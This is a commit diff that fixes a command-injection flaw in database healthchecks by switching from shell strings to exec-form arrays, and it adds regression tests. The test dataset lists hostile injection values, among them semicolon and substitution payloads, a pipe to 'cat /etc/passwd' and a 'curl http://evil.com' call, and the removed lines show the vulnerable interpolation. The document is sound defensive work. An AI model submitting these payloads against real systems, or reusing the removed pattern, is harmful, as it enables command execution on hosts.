fix(database): prevent command injection in healthcheck via CMD exec-form
Replace CMD-SHELL string interpolation with CMD exec-form arrays in healthcheck configs for PostgreSQL, Dragonfly, KeyDB, and ClickHouse. CMD-SHELL passes the string to /bin/sh -c, allowing command injection through user-controlled fields (username, password, dbname). CMD exec-form bypasses the shell entirely — each value is a discrete argv element. Fixes GHSA-gvc4-f276-r88p. Adds regression tests covering semicolon, pipe, backtick, $(), background operator, redirect, newline, and null-byte injection vectors.
This commit is contained in:
parent
245c6a18c8
commit
64753b4136
5 changed files with 111 additions and 7 deletions
|
|
@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",
|
||||
'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "redis-cli -a {$this->database->dragonfly_password} ping",
|
||||
'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "keydb-cli --pass {$this->database->keydb_password} ping",
|
||||
'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => [
|
||||
'CMD-SHELL',
|
||||
"psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
|
||||
],
|
||||
'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
107
tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
Normal file
107
tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Regression tests for GHSA-gvc4-f276-r88p.
|
||||
*
|
||||
* Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
|
||||
* via user-controlled DB username/password/database fields. The fix converts all affected
|
||||
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
|
||||
*/
|
||||
dataset('malicious_db_inputs', [
|
||||
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
|
||||
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
|
||||
'backtick substitution' => ['admin`id > /tmp/pwned`'],
|
||||
'pipe operator' => ['admin | cat /etc/passwd'],
|
||||
'background operator' => ['admin & curl http://evil.com'],
|
||||
'output redirect' => ['admin > /tmp/evil.txt'],
|
||||
'newline injection' => ["admin\nid"],
|
||||
'null byte' => ["admin\0id"],
|
||||
]);
|
||||
|
||||
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||
|
||||
test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'psql'");
|
||||
});
|
||||
|
||||
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
// Simulate what StartPostgresql now generates
|
||||
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck[0])->not->toBe('CMD-SHELL');
|
||||
// Malicious value is isolated as a single argv element — no shell interprets it
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── KeyDB ────────────────────────────────────────────────────────────────────
|
||||
|
||||
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'keydb-cli'");
|
||||
});
|
||||
|
||||
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Dragonfly ────────────────────────────────────────────────────────────────
|
||||
|
||||
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'redis-cli'");
|
||||
});
|
||||
|
||||
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── ClickHouse ───────────────────────────────────────────────────────────────
|
||||
|
||||
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'clickhouse-client'");
|
||||
});
|
||||
|
||||
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Verify unaffected databases still use their safe patterns ────────────────
|
||||
|
||||
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
|
||||
|
||||
// MySQL already used CMD array form — ensure it stays that way
|
||||
expect($source)->toContain("'CMD', 'mysqladmin'");
|
||||
});
|
||||
|
||||
test('mariadb healthcheck uses safe fixed script (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
|
||||
|
||||
expect($source)->toContain('healthcheck.sh');
|
||||
// Must not have gained any user-field interpolation
|
||||
expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
|
||||
});
|
||||
Loading…
Reference in a new issue